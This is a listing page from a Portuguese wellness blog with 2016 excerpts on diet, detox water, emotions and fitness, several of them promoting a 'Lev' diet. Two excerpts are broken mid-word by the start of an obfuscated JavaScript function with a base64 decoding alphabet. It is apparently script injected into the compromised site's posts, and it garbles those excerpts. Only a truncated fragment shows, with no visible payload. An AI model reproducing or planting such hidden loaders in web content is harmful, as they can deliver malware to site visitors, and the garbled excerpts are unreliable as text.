Jul 6, 2016 | Equilíbrio, Saúde e bem estar
Frutos e vegetais que ajudam a manter a pele bronzeada Sabia que, se consumirmos determinados alimentos, estes nos vão ajudar a ter um bronzeado lindo e muito mais duradouro? Pois é, para além de deliciosos, estes frutos e vegetais podem ser os nossos melhores amigos...
Jul 6, 2016 | Equilíbrio, Sugestões
Dicas para ser um bom comunicador Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jul 5, 2016 | Equilíbrio, Saúde e bem estar
por Ágata Roquette, Nutricionista A água é o principal componente do nosso organismo e normalmente representa 60% do peso corporal nos homens adultos e cerca de 50-55% nas mulheres. Mas, além de ser essencial à própria vida, a água é também um requisito fundamental...
Jun 27, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Super satisfeita com a minha dieta ❤ Olá, cá estou eu de novo para vos dar notícias de como está a correr a minha dieta Lev. Fantástica. Aliás, nem é preciso dizer. Os resultados estão à vista. Estou mais magrita! Que bom! E adaptei-me com muita facilidade a este...
Jun 25, 2016 | Equilíbrio, Saúde e bem estar
Águas detox de Kiwi, Limão e Morangos por Luísa Fortes da Cunha Água com Kiwi Ingredientes 1 Litro de água 2kiwis Umas gotas de limão Preparação Comece por cortar os kiwis às rodelas. Depois coloque os kiwis cortados num jarro e junte a água. Acrescente umas gotas...
Jun 22, 2016 | À descoberta, Receitas
3 Pequenos-almoços para manter a barriga lisa Reduzir ou evitar a gordura na zona abdominal passa por adotar rotinas saudáveis, como o bom sono, controlo do stress, exposição à luz solar (pela vitamina D), exercício físico e, claro, a alimentação. Toda a gente sabe...
Jun 20, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, sidebar 3
A minha dieta resulta mesmo Nesta Primavera estou mais Lev. Decidi fazer esta dieta para perder as gordurinhas acumuladas no inverno tão rigoroso que tivemos. E devagar devagarinho já lá vão perto de 5 kg. A roupinha voltou a servir-me, ou melhor, eu a servir na...
Jun 20, 2016 | Equilíbrio, Saúde e bem estar
Gerir as emoções para ser mais feliz Saber gerir as emoções é uma tarefa fundamental para o nosso bem-estar, e para enfrentarmos todas as situações desafiantes que surgem ao longo da vida. Em «Uma caixa de primeiros socorros das emoções», a psicóloga Maria Palha...
Jun 17, 2016 | Equilíbrio, header, Saúde e bem estar, sidebar 2
As melhores dicas para ganhar massa muscular O verão aproxima-se e intensificam-se as preocupações com a silhueta que vamos exibir na praia. Se quer ter um corpo mais firme e definido, tem de reforçar a sua massa muscular. O nutricionista clínico Custódio César,...
Jun 16, 2016 | Equilíbrio, Saúde e bem estar
A dieta certa para mim. Olá! Tem acompanhado a minha dieta Lev? Se não acompanhou, ainda está a tempo: veja como é que eu estava qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...
